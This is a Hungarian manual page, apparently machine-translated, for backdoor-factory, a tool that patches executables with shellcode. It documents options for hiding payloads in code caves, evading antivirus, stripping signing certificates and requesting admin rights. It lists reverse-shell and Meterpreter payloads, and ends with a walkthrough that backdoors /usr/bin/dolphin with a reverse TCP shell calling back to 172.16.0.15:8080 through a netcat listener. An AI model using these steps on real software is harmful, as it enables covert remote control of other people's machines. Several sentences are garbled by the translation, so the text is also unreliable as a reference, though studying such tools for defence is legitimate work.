backdoor-factory - kézikönyv, opciók, parancspéldák


NÉV

backdoor-factory - előre definiált vagy felhasználó által definiált shellkód beszúrása bináris fájlokba

SZINOPSZIS

backdoor-factory [options]

LEÍRÁS

backdoor-factory javítsa ki a végrehajtható bináris fájlokat a felhasználó által kívánt shellkóddal, és folytassa az előre javított állapot normál végrehajtását.

Ez az eszköz csak biztonsági szakemberek és kutatók számára készült.

Ez az eszköz nem támogatja az áthelyezhető ELF végrehajtható fájlt (azaz -fPIE opcióval fordítva, a Debian keményítési követelményei szerint, lásd: https://wiki.debian.org/Hardening)

Előfordulhat, hogy az olyan binárisok, mint például az ssh, nem kerülnek előírásra, mint például a delphin (a kézikönyv oldalának írásakor) igen.

LEHETŐSÉGEK:

-h, --help

jelenítse meg ezt a súgóüzenetet, és lépjen ki

-f FILE, --file=FILE

Fájl a hátsó ajtóba

-s SHELL, --shell=SHELL

Használható rakományok. Használja a 'show'-t a hasznos terhek megtekintéséhez.

-H HOST, --hostip=HOST

A C2 IP a fordított csatlakozásokhoz.

-P PORT, --port=PORT

A port, amelyre vissza kell csatlakozni a fordított shellekhez, vagy figyelni a bind shelleket

-J, --cave_jumping

Válassza ezt az opciót, ha kódbarlangi ugrást szeretne használni a shellkód további elrejtésére a binárisban.

-a, --add_new_section

Kötelező új szakasz hozzáadása az exe-hez (jobb siker), de kevesebb av elkerülés

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

A felhasználó által megadott shellkód, győződjön meg arról, hogy megegyezik a megcélzott architektúrával.

-c, --cave

A barlangzászló olyan kódbarlangokat talál, amelyek a shellkód elrejtésére használhatók. Ez az összes meghatározott méretű kódbarlangba nyomtat. A -l jelző használható ezzel a beállítással.

-l SHELL_LEN, --shell_length=SHELL_LEN

Használható a -c-vel, hogy segítsen megtalálni a különböző méretű kódbarlangokat

-o OUTPUT, --output-file=OUTPUT

A hátsó ajtó kimeneti fájl elérési útja. A szülőkönyveknek létezniük kell

-n NSECTION, --section=NSECTION

Az új szakasz neve hét karakternél rövidebb lehet

-d DIR, --directory=DIR

Ez azoknak a fájloknak a helye, amelyeket a hátsó ajtóhoz kíván kapcsolni. Gyorsabbá teheti a fájlháttérajtó könyvtárát, ha az -a beállítással kódcave-t kényszerít az exe-hez.

-w, --change_access

Ez a jelző megváltoztatja a kódcave-t tartalmazó részt RWE-re. Néha ez szükséges. Alapértelmezés szerint engedélyezve. Ha le van tiltva, a hátsó ajtó meghibásodhat.

-i, --injector

Ez a parancs a hátsó ajtó gyárát egy vadászat és shellcode inject típusú mechanizmusba kapcsolja. Szerkessze a célbeállításokat az injektormodulban.

-u SUFFIX, --suffix=SUFFIX

Az injektorral való használathoz helyezzen egy utótagot az eredeti fájlba a könnyű helyreállítás érdekében

-D, --delete_original

Injektor modullal használható. Ez a parancs törli az eredeti fájlt. Nem használható termelési rendszerekben. (A szerző nem vállal felelősséget a hülye felhasználásokért.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Kezdőpont a lemezeltoláson, bájtban. Egyes szerzők el akarják homályosítani a lemezen lévő eltolásukat, hogy elkerüljék a visszafejtést, ha úgy találja, hogy az egyik ilyen fájl használja ezt a jelzőt, miután megtalálta az eltolást.

-S, --support_check

Annak megállapítása, hogy a fájlt támogatja-e a BDF, mielőtt a fájl hátsó ajtót nyitna. Önmagában vagy bőbeszéddel való használatra. Ez az ellenőrzés automatikusan megtörténik, ha megkísérlik a hátsó ajtót.

-M, --cave-miner

Jövőbeni felhasználás a PE-fájlban lehetséges legkisebb shellkód meghatározásához

-q, --no_banner

Megöli a transzparenst.

-v, --verbose

Hibakeresési információk kimenetéhez.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Csak ALL, x86 vagy x64 típusú bináris fájlok. Alapértelmezett=MINDEN

-Z, --zero_cert

Lehetővé teszi a PE-tanúsítványtáblázat mutatójának felülírását, hatékonyan eltávolítva a tanúsítványt a binárisból minden célból.

-R, --runas_admin

KÍSÉRLETI Ellenőrzi a PE binárisokat a 'requestedExecutionLevel level="highestAvailable"'-re. Ha ez a karakterlánc szerepel a binárisban, akkor rendszer/adminként kell futnia. Ha nincs Támogatás-ellenőrzés módban, akkor megkísérli a highAvailable javítást a jegyzékben, ha létezik a requestedExecutionLevel bejegyzés.

-L, --patch_dll

Használja ezt a beállítást, ha NEM akarja javítani a DLL-eket. Javítások alapértelmezés szerint.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

MACH-O formátumhoz. Kövér fájl esetén összpontosítson arra, hogy melyik ívet kell foltozni. Az alapértelmezett x64. Az x86 kényszerítéséhez használja az -F x86, mindkét ív kényszerítéséhez pedig az -F ALL parancsot.

-B BEACON, --beacon=BEACON

Azon rakományoknál, amelyek képesek kijelzésre, állítsa be az időt másodpercben

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Javítási módszerek PE-fájlokhoz, 'manuális', 'automatikus', csere és onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Onionduke-nak. Adja meg a kívánt bináris fájlt.

-X, --xp_mode

Alapértelmezés: NE támogassa a régebbi XP gépeket, használja a -X billentyűt az XP támogatásához. Alapértelmezés szerint a bináris fájl összeomlik XP gépeken (például homokozókon)

-A, --idt_in_cave

KÍSÉRLETI Alapértelmezésben egy új Import Directory Table jön létre egy új szekcióban, ennek a jelzőnek a meghívásával egy kódbarlangba kerül. Ez bizonyos esetekben bináris kudarcot okozhat. Először tesztelje a cél binárisokat.

-C, --code_sign

Azoknak, akik kódtervező tanúsítványokkal rendelkeznek, és csak PE bináris fájlokat szeretnének aláírni. Nevezze el aláíró kulcsát és privát kulcsát signingcert.cer és signingPrivateKey.pem a tanúsítványok könyvtárában, az aláíró tanúsítványok beszerzése Önön múlik.

-p, --preprocess

Előfeldolgozási szkriptek végrehajtása az előfeldolgozási könyvtárban

A SHELLCODES-RÓL

A backdoor-factoryban különféle előre definiált shellkódok találhatók. Elérhetőségük a céltípustól függ (ELF32, ELF64, PE32...). A shellkódok listája az alábbiakban található.

minden Intel alapú (x86 és x86_64 architektúra)

reverse_shell_tcp

szükség: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést

delay_reverse_shell_tcp

szükség: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést

beaconing_reverse_shell_tcp

szükség: egy beacon, egy távoli gazdagép és a beállítandó port lehetővé teszi: távoli shell hozzáférést

user_supplied_shellcode

szükség: egy felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ

Linux-specifikus shellkódok

reverse_tcp_stager

szükséges: engedélyek:

Windows PE32 exe shellkódok

reverse_shell_tcp_inline

igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést

reverse_shell_tcp_stager_threaded

igények: egy távoli gazdagép és beállítandó port lehetővé teszi: Injektálja be a meterpreter szerver DLL-t a Reflective Dll Injection hasznos terhelésen keresztül

meterpreter_reverse_https_threaded

igények: távoli gazdagép és beállítandó port engedélyezi: meterpreter over https transport

user_applied_shellcode_threaded

igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ

iat_reverse_tcp_inline

igények: a távoli gazdagép és a beállítandó port lehetővé teszi:

iat_reverse_tcp_inline_threaded

igények: a távoli gazdagép és a beállítandó port lehetővé teszi:

iat_reverse_tcp_stager_threaded

igények: egy távoli gazdagép és beállítandó port lehetővé teszi: Injektálja be a meterpreter szerver DLL-t a Reflective Dll Injection hasznos terhelésen keresztül

iat_user_applied_shellcode_threaded

igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ

Windows PE64 exe shellkódok

delay_reverse_shell_tcp

igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést

reverse_shell_tcp

igények: távoli gazdagép és beállítandó port lehetővé teszi: távoli shell hozzáférést

beaconing_reverse_shell_tcp

igények: egy jeladó, egy távoli gazdagép és a beállítandó port lehetővé teszi: távoli shell hozzáférést

user_supplied_shellcode

igények: a felhasználó által definiált shellkód, amely készen áll a beszúrásra, engedélyezi: a shellkódtól függ

PÉLDÁK

Példa egy ELF bináris cavekódolására távoli shell-elérés integrálásával egy távoli TCP-figyelőn keresztül (pl. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

A 172.16.0.15 IP mögötti gazdagépen indítsa el a netcat hallgatási módban:

netcat -l 172.16.0.15 8080

A célon indítsa el a hátsó ajtós binárist:

./backdoored/dolphin

Most a 172.16.0.15 gazdagépen csak használja a shelljét.

TÖRTÉNELEM

2017. május, eredetileg összeállította: Philippe Thierry (phil at reseau-libre dot com)